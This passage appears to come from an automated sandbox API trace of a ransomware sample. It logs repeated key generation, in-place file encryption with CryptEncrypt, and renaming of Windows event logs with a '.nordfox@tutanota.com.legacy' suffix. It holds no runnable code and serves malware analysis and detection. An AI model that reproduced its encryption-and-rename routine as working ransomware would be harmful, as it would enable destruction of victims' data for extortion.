pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.035] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.037] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.037] WriteFile (in: hFile=0x460, lpBuffer=0x54d240*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d240*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.037] CloseHandle (hObject=0x460) returned 1 [0088.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0088.041] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d240 | out: hHeap=0x520000) returned 1 [0088.041] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-Power%4Thermal-Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-power%4thermal-operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5821f8 | out: hHeap=0x520000) returned 1 [0088.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581b90 | out: hHeap=0x520000) returned 1 [0088.046] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581970 | out: hHeap=0x520000) returned 1 [0088.046] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0088.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584460 [0088.047] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584460 | out: pbBuffer=0x584460) returned 1 [0088.047] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.047] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx", dwFileAttributes=0x80) returned 1 [0088.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x582498 [0088.048] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bfa0 [0088.048] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x582498 | out: hHeap=0x520000) returned 1 [0088.048] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.049] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=1052672) returned 1 [0088.049] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3127020 [0088.057] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x101000) returned 0x3235020 [0088.066] ReadFile (in: hFile=0x460, lpBuffer=0x3127020, nNumberOfBytesToRead=0x101000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3127020*, lpNumberOfBytesRead=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0088.127] SetFilePointer (in: hFile=0x460, lDistanceToMove=-1052672, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.127] WriteFile (in: hFile=0x460, lpBuffer=0x3235020*, nNumberOfBytesToWrite=0x101000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x3235020*, lpNumberOfBytesWritten=0x2e1f9bc*=0x101000, lpOverlapped=0x0) returned 1 [0088.135] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3127020 | out: hHeap=0x520000) returned 1 [0088.141] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x3235020 | out: hHeap=0x520000) returned 1 [0088.146] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x101000 [0088.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.146] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584460*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.147] WriteFile (in: hFile=0x460, lpBuffer=0x584460*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584460*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.147] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.147] CloseHandle (hObject=0x460) returned 1 [0088.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584460 | out: hHeap=0x520000) returned 1 [0088.172] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.172] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-PnP%4Configuration.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-pnp%4configuration.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bfa0 | out: hHeap=0x520000) returned 1 [0088.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0088.177] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0088.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0088.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0088.178] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.178] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0088.178] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.178] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567a30 [0088.183] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55ade8 [0088.183] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567a30 | out: hHeap=0x520000) returned 1 [0088.183] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.184] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.184] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.184] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.211] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.211] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.213] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.214] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.217] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.217] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.219] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.220] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.220] CloseHandle (hObject=0x460) returned 1 [0088.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0088.224] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.224] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-EventTracing%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-eventtracing%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55ade8 | out: hHeap=0x520000) returned 1 [0088.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0088.233] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0088.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x583f38 [0088.233] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.233] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x583f38 | out: pbBuffer=0x583f38) returned 1 [0088.233] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.233] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5679b8 [0088.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xc0) returned 0x57eb98 [0088.234] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5679b8 | out: hHeap=0x520000) returned 1 [0088.234] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.234] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.234] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.235] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.235] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.249] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.249] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.250] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.251] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.254] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.254] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x583f38*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.256] WriteFile (in: hFile=0x460, lpBuffer=0x583f38*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x583f38*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.257] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.257] CloseHandle (hObject=0x460) returned 1 [0088.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x583f38 | out: hHeap=0x520000) returned 1 [0088.260] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.260] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Kernel-Boot%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-kernel-boot%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x57eb98 | out: hHeap=0x520000) returned 1 [0088.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.262] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0088.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0088.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584a90 [0088.262] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584a90 | out: pbBuffer=0x584a90) returned 1 [0088.263] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 1 [0088.263] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx", dwFileAttributes=0x80) returned 1 [0088.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x5678c8 [0088.263] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55bb68 [0088.263] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5678c8 | out: hHeap=0x520000) returned 1 [0088.263] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.264] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.264] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.264] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.280] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.281] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.281] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.282] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.285] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.285] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584a90*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.287] WriteFile (in: hFile=0x460, lpBuffer=0x584a90*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584a90*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.287] WriteFile (in: hFile=0x460, lpBuffer=0x54d1c0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d1c0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.287] CloseHandle (hObject=0x460) returned 1 [0088.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584a90 | out: hHeap=0x520000) returned 1 [0088.297] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d1c0 | out: hHeap=0x520000) returned 1 [0088.297] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-International%4Operational.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-international%4operational.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55bb68 | out: hHeap=0x520000) returned 1 [0088.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x567850 | out: hHeap=0x520000) returned 1 [0088.299] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5676e8 | out: hHeap=0x520000) returned 1 [0088.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581f48 [0088.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584148 [0088.299] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d0f0 [0088.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584148 | out: pbBuffer=0x584148) returned 1 [0088.299] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d0f0 | out: pbBuffer=0x54d0f0) returned 1 [0088.299] SetFileAttributesW (lpFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx", dwFileAttributes=0x80) returned 1 [0088.300] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x80) returned 0x581b08 [0088.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0xd0) returned 0x55b4a8 [0088.301] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581b08 | out: hHeap=0x520000) returned 1 [0088.301] CreateFileW (lpFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x460 [0088.301] GetFileSizeEx (in: hFile=0x460, lpFileSize=0x2e1f998 | out: lpFileSize=0x2e1f998*=69632) returned 1 [0088.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x585f20 [0088.301] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x11000) returned 0x596f28 [0088.301] ReadFile (in: hFile=0x460, lpBuffer=0x585f20, nNumberOfBytesToRead=0x11000, lpNumberOfBytesRead=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x585f20*, lpNumberOfBytesRead=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.313] SetFilePointer (in: hFile=0x460, lDistanceToMove=-69632, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x1 | out: lpDistanceToMoveHigh=0x0) returned 0x0 [0088.313] WriteFile (in: hFile=0x460, lpBuffer=0x596f28*, nNumberOfBytesToWrite=0x11000, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x596f28*, lpNumberOfBytesWritten=0x2e1f9bc*=0x11000, lpOverlapped=0x0) returned 1 [0088.313] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x585f20 | out: hHeap=0x520000) returned 1 [0088.315] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x596f28 | out: hHeap=0x520000) returned 1 [0088.318] SetFilePointer (in: hFile=0x460, lDistanceToMove=0, lpDistanceToMoveHigh=0x2e1f99c*=0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x2e1f99c*=0) returned 0x11000 [0088.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x20, dwBufLen=0x20 | out: pbData=0x0*, pdwDataLen=0x2e1f9ac*=0x100) returned 1 [0088.318] CryptEncrypt (in: hKey=0x5528a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x20, dwBufLen=0x100 | out: pbData=0x584148*, pdwDataLen=0x2e1f9a8*=0x100) returned 1 [0088.320] WriteFile (in: hFile=0x460, lpBuffer=0x584148*, nNumberOfBytesToWrite=0x100, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x584148*, lpNumberOfBytesWritten=0x2e1f9bc*=0x100, lpOverlapped=0x0) returned 1 [0088.321] WriteFile (in: hFile=0x460, lpBuffer=0x54d0f0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x2e1f9bc, lpOverlapped=0x0 | out: lpBuffer=0x54d0f0*, lpNumberOfBytesWritten=0x2e1f9bc*=0x8, lpOverlapped=0x0) returned 1 [0088.321] CloseHandle (hObject=0x460) returned 1 [0088.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x584148 | out: hHeap=0x520000) returned 1 [0088.324] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x54d0f0 | out: hHeap=0x520000) returned 1 [0088.324] MoveFileExW (lpExistingFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx"), lpNewFileName="\\Logs\\Microsoft-Windows-Hyper-V-Guest-Drivers%4Admin.evtx.1506877342345.nordfox@tutanota.com.legacy" (normalized: "c:\\logs\\microsoft-windows-hyper-v-guest-drivers%4admin.evtx.1506877342345.nordfox@tutanota.com.legacy"), dwFlags=0x8) returned 1 [0088.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x55b4a8 | out: hHeap=0x520000) returned 1 [0088.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x581f48 | out: hHeap=0x520000) returned 1 [0088.340] HeapFree (in: hHeap=0x520000, dwFlags=0x0, lpMem=0x5817d8 | out: hHeap=0x520000) returned 1 [0088.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x70) returned 0x567850 [0088.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x100) returned 0x584250 [0088.340] RtlAllocateHeap (HeapHandle=0x520000, Flags=0x0, Size=0x8) returned 0x54d1c0 [0088.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x20, pbBuffer=0x584250 | out: pbBuffer=0x584250) returned 1 [0088.340] CryptGenRandom (in: hProv=0x55a150, dwLen=0x8, pbBuffer=0x54d1c0 | out: pbBuffer=0x54d1c0) returned 